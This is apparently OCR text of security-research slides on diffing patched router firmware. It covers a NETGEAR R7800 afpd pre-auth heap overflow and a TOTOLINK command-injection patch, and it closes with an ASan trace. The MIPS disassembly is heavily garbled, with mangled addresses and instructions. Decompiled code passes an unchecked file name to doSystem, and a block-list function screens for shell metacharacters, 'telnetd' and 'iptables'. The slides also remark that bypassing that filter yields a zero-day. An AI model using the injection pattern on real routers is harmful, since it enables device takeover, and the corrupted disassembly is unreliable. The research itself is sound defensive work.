### primary

994 2F7 10	aub_42F addtu	710	
994 2F7 18 994 2F7 18 994 2F7 10	200	ap, ra, s7, s6, s5,	sp, -0x320 local_4(sp)
9942F729	TW .	a7,	local_0(sp)
0042F720 0042F724 0042F720	SW SW	25.	sp, -0x120 local_4(sp) local_6(sp) local_6(sp) local_10(sp) local_14(sp)
9942F72C	SN SN	24 23	local_14(sp)
9942F734	200		local_14(sp) local_18(sp) local_1c(sp) local_28(sp) local_24(sp) local_24(sp)
0042F738	200	s1, s0,	local_28(sp)
004 2F7 40	lut	gp.	Ro45
9942F744 9942F748	addiu sw move	gp. gp.	gp, 0x6bb0 local_310(sp) s0
994 257 20 994 257 30 994 257 30 994 257 30 994 257 30 994 257 30 994 257 40 994 257 40 994 257 40	ma ve	:03	a9
9942F759	addtu move	33,	sp, 8x28
9942F758	clear	m1	-8x7e9c (gp.)
994 257 4C 994 257 59 994 257 54 994 257 50 994 257 69 994 257 64 994 257 64	jalr	a0, a1 t9, t9 a2, ap,	
8842F764	Tar.	a2,	0x80 local_310(sp)
		-	
9942F76C	ma ve	nG,	100 Eur
9942F779	lut	a1.	Ro44 al0x4bfc
994 2F7 78	lui addiu lui	a1,	Dvd.4
984 257 60 984 257 74 984 257 74 984 257 70 984 257 70 984 257 80 984 257 84	lw jalr _addiu	a1, a1, a1, t9, t9, a2,	-8x7fd4 (gp.)
994 2F7 84	addiu	n2,	s1, -0x46e8
MM4 25-7 (00)	In more	9P.	Incal_318(sp) v8
9942F798	ma ve		mO
9942F794 9942F798	move lui addiu	al.	
0042F79C	1w	19,	a1, -0x-4ab@ -0x-7fd4 (gp.)
994.257.90 994.257.94 994.257.95 994.257.90 994.257.46 994.257.44	lw jalr _addiu	a1, a1, t9, t9 a2, gp, a8,	-1 0-00-0
994 2F7 AG 994 2F7 AG	lw move	gp,	local_318(sp) s8
	ma ve		
004 2F7 80 004 2F7 84 004 2F7 88 004 2F7 80 004 2F7 00 004 2F7 C0	lui addiu lui	41,	Rol4
9942F784 9942F788	addiu lui	a1, a1, a2, t9, t9, a2,	0x44 a1, -0x4xf0 0x44
9942F7BC	1w	19,	-8x7fd4 (gp.)
9942F7C4	lw jalr _addiu	n2.	
994 2F7 C4 994 2F7 C0 994 2F7 C0 994 2F7 D9 994 2F7 D4 994 2F7 D0 994 2F7 D0	lw lw	gp, t9, t9 s1, gp, s2,	a2, -0x6454 local_318(sp) -0x7d78(gp)
884 2F7 DB	lw jalr _move	19	
9942F7D4	In the move	×1,	v8 local_318(sp) v8
9942F7DC	BO VIII	100	Ag and add
0042F7E0	el ear	nG.	a1
9942F7E8	1w	19,	-8x7e88 (gp.)
9942F7EC	jalr	19	
9942F7F4	1w	gp,	0cm local_310(sp)
9942F7F0	lui	x1,	VB, 8x1 8x44
994 2F7 DC 994 2F7 E4 994 2F7 E4 994 2F7 E6 994 2F7 E6 994 2F7 F6 994 2F7 F6 994 2F7 F6 994 2F7 F6	Lw	28, 28, 21, 19, 22, 32, 31, 40, 22, 41,	VB, Bx1 Bx44 -Bx4m4 (VB) VB, -Bx4m4 Bx4 (VB)
004 2F0 04 004 2F0 00	addiu lw	al.	VII0x4mm4 0x4 (vII)
		-	
8942F8 90 8942F8 18	lw lw	a0.	Bell (vill) Bec (vill)
0042F010	Lw	v1.	Sec (vii)
994 2F8 14 994 2F8 18 994 2F8 1C	SN SN	al.	local_384(sp)
	SN SN	a0, v1, a2, a1, a0, v1, v0, v0,	local_388(sp) local_384(sp) local_389(sp) local_2fc(sp) sct0(v0) local_2f0(sp)
004 2F0 24 004 2F0 20	1hu	ve,	exte(ve)
994 2F8 26	asta .	ve,	local_2f8(sp) Rol4
004 2F0 2C 004 2F0 30	lui addiu	a0,	0x44 a0, -0x4a90
004 2F0 34 004 2F0 30 004 2F0 3C	move lw	a1, t9,	s2 -8x7e68 (gp.)
9942F63C	lw julr	19	190
004 2F0 40 004 2F0 44 004 2F0 40	move ori alt	92, VB,	zero, 0x0000
994 2FB 4B	alt	ve,	zero, 0x0000 z1, v0
884 2F8 4C 884 2F8 58	beq	ve.	zero, LAG_0042f000
0042F050	_lw	gp.	zero, LAB_0042f000 local_310(sp)

mb 407 710 | ln | rs | local 4 | sp | ln | sr | local 5 | sp | ln | sr | local 5 | sp | ln | sr | ln | sr

```
0.9426718 msh. 426718
0.9428144 bresi s5, v6, LAG
0.9428148 _last s0, 0x44
```

sub\_42F09C 0042F09C

### secondary

```
8 842 F685 beq s8, zero, LA
8 842 F685 beq s8, zero, LA
8 842 F68C _lui v8, 8 x44
```

```
094 2F9 0C sub_4 2
          0942F0C0 lui gp, 0x45
0942F0C4 addiu gp, gp, -0x5770
0942F0C0 sv gp, local_339(sp)
0942F0C0 sove sl, s0
0942F0C0 sddiu s0, sp, 0x18
| DOMESTIC 
               9942F109 lw gp, local_339(sp)
9942F104 move s2, v9
9942F108 move s8, s9
                    8842F100 lui al, 8x44
          0042F100 addiu a1, a1, -0x19a8
0042F104 ls 19, -0x7fd4(gp)
0042F100 palr 19
0042F100 _addiu a2, a1, -0x25d4
0042F100 ls gp, local_330(sp)
0042F104 ls 19, -0x764(gp)
          0942F1EB pair t9
0942F1EC _more a0, v0
0942F1F4 la gp, local_330(ap)
0942F1F4 move a0, v0
0942F1FC lair t9
0942F1FC pair t9
0942F1FC pair t9
          9942F294 slttu v8, v8, 0x21
9942F295 bsq v8, xero, LAB_9942F654
9942F29C _lw gp, local_l39(sp)
```

# NETGEAR R7800

### R7800-

- HEAP buffer overflow in APFD binary
- In patched firmware apfd binary is removed
- There is no patch binary to diff against



#### SSD ADVISORY - NETGEAR R7800 A FPD PREAUTH

November 22, 2022 SSD Secure Disclosure technical team Uncategorized

#### TL:DR

A vulnerability in NETGEAR AFPD, Apple Filing Protocol daemon, process allows LAN side attackers to cause the product to overflow a buffer due to a pre-auth vulnerability.

#### **Vulnerability Summary**

A heap-buffer overflow in afpd's dsi\_writeinit is leveraged to overwrite the proto\_close function pointer in the DSI struct, and execute arbitrary code on the NETGEAR R7800 Smart Router, in the default configuration, on the LAN side, pre-auth.

#### Credit

An independent security researcher has reported this to the SSD Secure Disclosure program.

## CONCLUSION

 N-Day can be turned into 0 day, If the vendor didn't implement the proper patch

# TOTOLINK

#### TOTOLINK - PATCH

- Validity\_check() function is added before executing doSystem function
- Patch was simple enough to doing it manually

```
71
    memset(img name, 0x0, 0x80);
    file name = (char *)websGetVar(param 1, "FileName", (undefined2 *)0x43f1c8);
    puVar2 = websGetVar(param 1, "FullName", (undefined2 *) 0x43f1c8);
    nptr = websGetVar(param 1, "ContentLength", &DAT 0043ca2c);
    uVar3 = cJSON CreateObject();
    lVar4 = strtol((char *) nptr,NULL,0xa);
    len = 1Var4 + 0x1;
    bVar1 = Validity check (file name);
    if (CONCAT31(extraout var,bVar1) == 0x0) {
81
      img name[0] = '/';
      img name[1] = 't';
      img name[2] = 'm';
      img name[3] = 'p';
      img_name[4] = '/';
      img name[5] = 'm';
      img name[6] = 'y';
88
      img name[7] = 'I';
      img name[8] = 'm';
      img name[9] = 'a';
      img name[10] = 'g';
      img name[11] = 'e';
      img name[12] = '.';
      img name[13] = 'i';
      img name[14] = 'm';
      img name[15] = 'g';
      img name[16] = '\0';
      doSystem("mv %s %s", file name, img name);
99
```

# TOTOLINK

#### TOTOLINK - PATCH

- Validity\_check function checks for special characters and some other strings whether present in the input
- If anyone can bypass this, it would become an 0 day

```
Decompile: Validity_check - (cstecgi.cgi_patch)
 2 bool Validity check(char *file name in)
    char *hay stack;
    hay stack = strchr(file name in,L';');
    if (((((hay stack == NULL)) && (hay stack = strstr(file name in, ".sh"), hay stack == NULL)) &&
         (hay stack = strstr(file name in, "iptables"), hay stack == NULL)) &&
10
        ((hay_stack = strstr(file_name_in, "telnetd"), hay_stack == NULL &&
         (hay stack = strchr(file name in,L'&'), hay stack == NULL)))) &&
       ((hay stack = strchr(file name in,L'|'), hay stack == NULL &&
13
        ((hay_stack = strchr(file_name_in,L'`'), hay_stack == NULL &&
         (hay stack = strchr(file_name_in,L'$'), hay_stack == NULL)))))) {
14
15
      hay stack = strchr(file name in, L'\n');
      return hay stack != NULL;
    return true;
19
20
```

```
#3 0x405e51 in std:: Vector base<int, std::allocator<int> >:: M allocate(unsi
gned long) /opt/sde/packages/gcc-9.3.0/include/c++/9.3.0/bits/stl vector.h:343
  #4 0x4050d0 in void std::vector<int, std::allocator<int> >:: M range initiali
ze<int const*>(int const*, int const*, std::forward iterator tag) /opt/sde/packag
es/gcc-9.3.0/include/c++/9.3.0/bits/stl vector.h:1579
  #5 0x404a00 in std::vector<int, std::allocator<int> >::vector(std::initialize
r list<int>, std::allocator<int> const&) /opt/sde/packages/gcc-9.3.0/include/c++/
9.3.0/bits/stl vector.h:626
  #6 0x404491 in main /home/jdoe/demo/asan/cppbook companion/miscellany/buggy/a
pp.cpp:7
  #7 0x7f7d7599b1a2 in libc start main (/lib64/libc.so.6+0x271a2)
SUMMARY: AddressSanitizer: heap-use-after-free /home/jdoe/demo/asan/cppbook compa
nion/miscellany/buggy/app.cpp:12 in main
Shadow bytes around the buggy address:
=>0x0c047fff8000: fa fa[fd]fd fa fa
```

### THANK YOU

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- 2. <a href="https://unblob.org/">https://unblob.org/</a>
- 3. google/binexport: Export disassemblies into Protocol Buffers (github.com)
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### References